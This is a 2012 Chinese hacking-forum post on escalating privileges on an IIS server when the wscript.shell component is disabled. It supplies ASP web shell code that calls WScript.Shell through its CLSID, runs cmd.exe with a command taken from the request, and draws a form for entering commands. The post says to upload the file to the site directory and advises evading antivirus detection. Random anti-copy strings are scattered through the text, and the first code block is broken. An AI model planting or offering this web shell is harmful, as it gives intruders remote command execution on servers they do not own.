中国网络渗透测试联盟
标题:
没有wscript.shell组件提权方法
[打印本页]
作者:
admin
时间:
2012-10-21 09:08
标题:
没有wscript.shell组件提权方法
可能有很多人,看到关闭了wscript.shell,就感觉没提权的希望了。就会放弃。
( i' r) m6 Q& z" n# T/ v
一般当闭上面组件时,你上传cmd.exe到上面去是运行不了命令的。运行时会说出错。
- ^7 d, R0 P( t$ K' [ O
要想让运行命令可以试试这种方法,成功率为五五之数。
! c. p$ D" \! L& n
把下面代码复制:
8 E Z: W' j( }
<%
3 K& P. P/ o2 A. f( ]1 P, `0 F
end if
1 R, c! M. A- I/ k, b8 x
response.write(”")
" ~0 b% [ K7 i# B4 l
On Error Resume
0 |/ M0 I x( C b0 ?- U$ c3 L0 C. `
Next
2 o# Y1 F' m/ q! _ b4 e. i
response.write oScriptlhn.exec(”cmd.exe /c” &
* H" `; I; x+ s. L% o
request(”c”)).stdout.readall
' P0 d) [ R }" n+ k+ [ e# |
response.write(”")
' M$ T7 H9 k8 s+ }6 n! ?) g& s
response.write(”")
j# L& x% [! O3 j. E" ]' x1 G
response.write(”
S& w( ^7 n. }7 ?& S
“)
4 Z& n6 e9 l4 G9 c
response.write(”")
7 m5 F$ S9 j8 t% F3 C' M' q
%>
) t7 n; J: d; d$ M
保存为一个asp文件,然后传到网站目录上去
& G1 [ e0 f4 G" Z
运行的时候可能会出现两个问题,第一是运行了为什么运行不了命令,这个你可以试着再上传个cmd.exe然后把路径写入上面代码。
2 \0 p3 w8 q4 q" R; |" O
我用此成功运行过cacls命令。
/ Z+ {8 i- ]1 c1 @) F
第二那就是运行时出错,可能限制某些代码执行
' l% ]$ Y6 w8 E' I# P; |8 T$ E( M
无wscript.shell组件提权又一个方法
5 a7 M) P1 n K
<object runat=server id=oScriptlhn scope=page
/ i# Y) B3 t! f Q. m4 l1 v
# c! C. Y+ c! k N& s
classid=”clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8″></object>
( x3 W& w7 y; M* m# b9 }% |
<%if err then%>
& h9 p& |' u$ R' h c7 ]; a/ T
<object runat=server id=oScriptlhn scope=page
. G7 ]& @8 Z; V' L% V
+ k" n5 p1 S1 a3 e9 A
classid=”clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B”></object>
0 ~# l6 h; v8 Z
<%
. T, I/ k: o) S* w& X/ b7 C8 y
end if
* S5 _7 q0 h3 B, d3 H+ D1 s/ A' H
response.write(”<textarea readonly cols=80
4 n W2 l8 Q) G8 T: { n1 A% f
( D; R5 A! A" ~/ H1 a
rows=20>”)
+ A) @ C3 D8 h7 m
On Error Resume Next
I; @& K+ z& {: V# w+ O" X
response.write
6 i" W) z. M# x, k; I5 t2 L9 T# R
2 d0 |0 o. o F# Y: e/ O
oScriptlhn.exec(”cmd.exe /c” & request(”c”)).stdout.readall
( c; O( r# o+ u% m$ h2 l- i8 y
response.write(”</textarea>”)
1 h6 V& f6 Q1 C2 |
response.write(”<form
$ |! Q! k8 {+ T+ u7 D: Z+ A
' J, V' J( |9 h) s8 ^2 h% ]7 ?) i
method=’post’>”)
) n/ @# t' O% o. x
response.write(”<input type=text name=’c'
) m# A' Q" }5 C2 T% o
6 n2 N3 j# @& Q9 j6 ?+ {
size=60><br>”)
. S3 [) c- b9 n: T; P
response.write(”<input type=submit
8 r4 J9 C4 b4 }- P. H; V7 q. S
1 W) g8 `4 z8 }
value=’执行’></form>”)
* d" j6 k: c' A2 S5 _
%>
3 l ]4 l: S+ K) n
保存为ASP,此代码可能被杀,请注意免杀。
1 @8 L! G: h' G& z1 n6 V6 ~0 }
原理:有些人把wscript.shell改名了,但是clsid没有变,所以调用这个clsid就等于调用ws组建
' W: }# ^2 ^8 p. A$ ]' R- P9 T
复制代码
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2